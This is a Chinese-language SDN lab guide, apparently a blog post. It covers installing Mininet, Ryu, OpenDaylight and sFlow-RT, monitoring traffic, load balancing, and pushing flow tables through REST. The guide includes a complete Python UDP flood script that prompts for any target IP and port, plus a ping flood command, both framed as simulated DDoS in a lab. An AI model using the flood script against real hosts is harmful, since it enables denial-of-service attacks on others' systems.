1 实验环境部署
1.1 mininet安装
（1）git mininet安装包：git clone https://github.com/mininet/mininet
（2）打开下载后的源码:cd mininet
（3）安装mininet仿真器：PYTHON=python3 util/install.sh -a
（4）运行mininet软件：./mininet/examples/miniedit.py
1.2 控制器安装
1.2.1 RYU
（1）git下载ryu源码：git clone https://github.com/osrg/ryu.git
（2）打开下载的软件：cd ryu
（3）安装所需包：sudo pip3 install -r tools/pip-requires
（4）安装Ryu：sudo python3 setup.py install
（5）启动ryu控制器(注意openflow的协议)：
cd /ryu/ryu/app
ryu-manager ofctl_rest.py simple_switch_13.py
1.2.2 opendaylight控制器安装
(1)安装JDK:sudo apt-get install openjdk-8-jdk
(2)安装之后需要查看JDK的安装路径，以便下一步设置JAVA环境变量时使用：cd /usr/lib/jvm
(3)配置JAVA环境变量:sudo vim /etc/environment
(4)配置完成之后重启系统;
(5)git OpenDaylight安装包：
wget https://nexus.opendaylight.org/content/groups/public/org/opendaylight/integration/distribution-karaf/0.6.4-Carbon/distribution-karaf-0.6.4-Carbon.tar.gz
（6）解压git下载的源文件：
sudo tar -zxvf distribution-karaf-0.6.4-Carbon.tar.gz
（7）修改配置文件：cd distribution-karaf-0.6.4-Carbon/etc
sudo vim org.apache.karaf.management.cfg
(8)启动karaf:cd distribution-karaf-0.6.4-Carbon/ebin/
sudo ./karaf
（9）配置可视化界面（安装feature）：
注意，以下命令均是在OpenDayLight的命令行下运行的。
①安装支持REST API的组件
feature:install odl-restconf
②安装L2 switch插件
feature:install odl-l2switch-switch-ui
③安装用户界面服务
feature:install odl-openflowplugin-flow-services-ui
④安装API查看器
feature:install odl-mdsal-apidocs
⑤安装dlux展示页面
feature:install odl-dluxapps-applications
⑥添加与函数服务相关的支持和管理功能
feature:install odl-faas-all
（10）启动OpenDaylight控制器：sudo ./karaf
（11）打开web页面：http://虚拟IP:8080/index.html登录OpenDaylight管理界面，登录的用户名和密码均为admim（虚拟机IP通过ip addr命令查看）。
1.3 抓包工具Wireshark安装
（1）安装wireshark：sudo apt-get install wireshark
(2)启动wireshark:sudo wireshark
1.4监控软件sflow 安装
（1）git sflow源码：wget http://www.inmon.com/products/sFlow-RT/sflow-rt.tar.gz
（2）解压sflow-rt安装包：tar -zxvf sflow-rt.tar.gz
（3）进入sflow-rt：cd sflow-rt
（4）启动：./start.sh
1.5 配置sFlow Agent
（1）安装web工具curl：sudo apt-get install curl
（2）配置sFlow Agent：
sudo ovs-vsctl -- -- id=@sflow create sflow agent=s1-eth0 target=\"127.0.0.1:6343\" sampling=10 polling=20 -- -- set bridge s1 sflow=@sflow
上述命令的主要意思如下：
1）agent：监控s1-eth0 网卡产生的流量；s1-eth0是为s1创建的端口；
2）target：sFlow-RT的IP，默认端口6343；
3）bridge：需要开启sFlow的网桥；
4）sampling：采样率，表示每隔N个Packet就取样一次
5）polling：轮询时间，每隔N秒polling一次
（3）查看已经配置的sFlow Agent信息：sudo ovs-vsctl list sflow
（4）查看虚拟交换机端口与端口编号的映射：ip link
（5）在web界面查看sFlow Agent是否配置成功：http://127.0.0.1: 8008/html/index.html
（6）启动sFlow APP，查看流量信息
Sflow-APP:get-app.sh sflow-rt flow-trend
（7）将之前的sFlow重新启动，点击sFlow中Apps或者：浏览器访问：http://localhost:8008/app/flow-trend/html/index.html
1.6 流表分析工具Apifox（postman）安装
(1)安装包：
（2）软件安装：sudo dpkg -i apifox_2.4.5_amd64.deb
（3）双击打开apifox软件；
2 实验步骤
2.1 实验所需要的文件包（python语言）
2.2 控制器启动
1.3 Mininet拓扑下发
（1）将1.1章节的包拷贝到虚拟机；https://download.csdn.net/download/m0_48669897/89087133?spm=1001.2014.3001.5503
（2）增加权限：chmod 777 文件包名称
（3）启动拓扑：sudo mn --custom MyTopo.py --topo mytopo --controller remote -x --switch ovsk,protocols=OpenFlow13
（4）查看各个节点及链路信息；
（5）pingall
(6)在控制器中查看拓扑是否运行成功；
1.4 打开Sflow流量监控软件
（1）启动监控软件，下发对应交换机的配置见4.5章节；
（2）连接到sFlow APP,在Keys列选择：ipsource,ipdestination,stack，在Value列选择bytes ，点击右面的 Submit提交，然后将自动转到图形化流量监控页面
1.5 Mininet终端中做如下操作
（1）打开Host1，和Host2的终端: xterm h1 h2
（2）在Host1窗口下启动http服务：python -m http.server 80&
（3）在Host2窗口下：curl http://Host1:80
（4）在Host2窗口下：ping Host1
（5）在sFlow APP页面中观察流量走向；
（6）DDoS模拟攻击，在mininet终端中执行，h2 ping -f h1
（7）在sFlow APP页面中观察流量走向；
（8）运行抓包工具,抓取对应网卡的包查看报文信息；
1.6 运行DDOS脚本，模拟攻击
（1）脚本文件：
（2）运行DDOS脚本，模拟攻击；
'''
# -*- coding:UTF-8 -*-
#python 3
import sys
import os
import time
import socket
import random
##############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
#############
#os.system("clear")
os.system("figlet DDos Attack")
print (" ")
print ("/---------------------------------------------------\ ")
print ("| Author : MineShin |")
print ("| Gitee : https://gitee.com/MineShin |")
print ("| QQ : 548343523 |")
print ("\---------------------------------------------------/")
print (" ")
ip = input("攻击目标IP: ")
port = int(input("攻击端口: "))
sd = int(input("攻击频率(1~1000): "))
os.system("clear")
print("攻击正在启动...")
time.sleep(5)
os.system("clear")
sent = 0
while True:
sock.sendto(bytes, (ip,port))
sent = sent + 1
print ("Sent %s packets to %s port %d"%(sent,ip,port))
time.sleep((1000-sd)/2000)
'''
（3）在sFlow APP页面中观察流量走向；
（4）运行抓包工具,抓取对应网卡的包查看报文信息；
1.7 运行负载均衡的代码，寻找最优路径
（1）开启三个终端，运行如下脚本：
sudo python3 controllers1.py
sudo python3 controllers2.py
sudo python3 controllers3.py
（2）外部模拟攻击：
在mininet自带CLI中运行：h2 python3 traffic.py
（3）通过web页面查看监控信息
（4）运行抓包工具,分析三次握手的原理及流程；
（5）攻击之后查看结果；
1.8 运行Django文件，查看可视化信息
（1）在sdn_site路径下运行：sudo python3 manage.py runserver
（2）安装缺失的库文件：pip/pip3 install 缺失的库文件；
（3）访问127.0.0.1:8000即可查看流量分析界面
（4）通过项目的数据分析工具，可以发现，项目流量生成工具发送的流量被尽力均衡地分配给了四个服务器，但是，由于负载均衡计算以及上传的延迟，存在一定误差，在流量更大的情况下，负载均衡效果会更加明显。
（5）Django后端页面展示；
（6）前端页面链路信息查看；
1.9 通过Apifox下发流表信息
1.9.1 在ODL界面查看流表下发路径
（1）打开ODL的web页面，在topology页面或者nodes页面中可以查看node信息；
（2）流表下发配置路径：Yang UI>Opendaylight-inventory>config>nodes>table>flow
node/openflow:1 交换机编号
table/0 流表编号
flow/不超过1024，流表项编号
（3）展开flow-list填写流表下发信息
flow/不超过1024，不冲突即可 流表项编号
•match fields:它们由入口端口和包头组成以及以及前一个表指定的元数据组成。
•priority:流表项的匹配优先级
•countres:更新匹配的数据包
•instructions:修改动作集或流水线处理的说明
•timeout:交换机流匹配最大计数时间和流有效时间
idle_time 匹配流表的最大计数时间
hard_time 下发流表后有效时间
•cookie:控制器选择的不透明数据值。控制器可以用来过滤流量统计、流修改和流删除信息，处理报文时不使用。
（4）请求方式为GET,表单填写完成后，点击send发送；
1.9.2 在Apifox界面下发流表信息
（此处流表信息已经在脚本中写了，下发时，http请求为201时即算成功）
（1）首先进入Apifox，利用get操作可以获得已有的流表：
请求方式1：http://192.168.137.143:8080/restconf/operational/network-topology:network-topology
请求方式2：ODL的web访问界面；
实验结果：返回200即可成功，数据格式可以自定义；
（2）完成身份认证并解密admin：
请求方式为GET：
Basic Auth页签，Username字段填写admin，Password字段填写admin完成认证。
（3）PUT请求配置Header文件,完成身份认证（此处配置的格式为XML，认证密码填写被HASH解析过的）；
（4）填写Body文件：
流表：匹配源MAC(host1)为MAC地址，目的MAC(host2)为MAC的流量，出port为2(端口号在拓扑看)。
“body”中选择“raw”，格式为XML（application/xml），并填写如下消息体：
（5）SEND 发送下发流表，在mininet下查找流表。
（6）下发后的流表可以删除，选择删除的请求方式即可删除；
'''
#流表下发配置
L2层流表下发
1.填写body：流表：匹配源MAC(host1)为########，目的MAC(host2)为########的流量，出端口为？？？。
“body”中选择“raw”，格式为XML（application/xml），并填写如下消息体：
2.流表：匹配源MAC(host2)为42:30:90:5d:df:02的流量，目的MAC(host1)为7e:24:bb:47:6f:58，出端口为1。
“body”中选择“raw”，格式为XML（application/xml），并填写如下消息体：
L3层流表下发
L3层对应OSI模型的三层，三层流表主要匹配的是IP包的协议类型和IP地址。
“body”中选择“raw”，格式为XML（application/xml）
流表：匹配源IP地址为IP-source/mask的报文，并将其转发到X端口
匹配源IP地址为IP-source/mask的报文，并将其转发到X端口。
“body”中选择“raw”，格式为XML（application/xml）
流表：下发arp匹配流表
L4层流表下发
L4对应的OSI模型中的四层，即流表对应的TCP/UDP源端口（TCP/UDP src port）、TCP/UDP目的端口号（TCP/UDP dst port）字段。本实验匹配TCP目的端口
“body”中选择“raw”，格式为XML（application/xml）
匹配到目的IP地址为ipv4-destination/mask且目的端口为5001的TCP报文，将其转发到2端口
“body”中选择“raw”，格式为XML（application/xml）
流表：下发arp匹配流表。
'''
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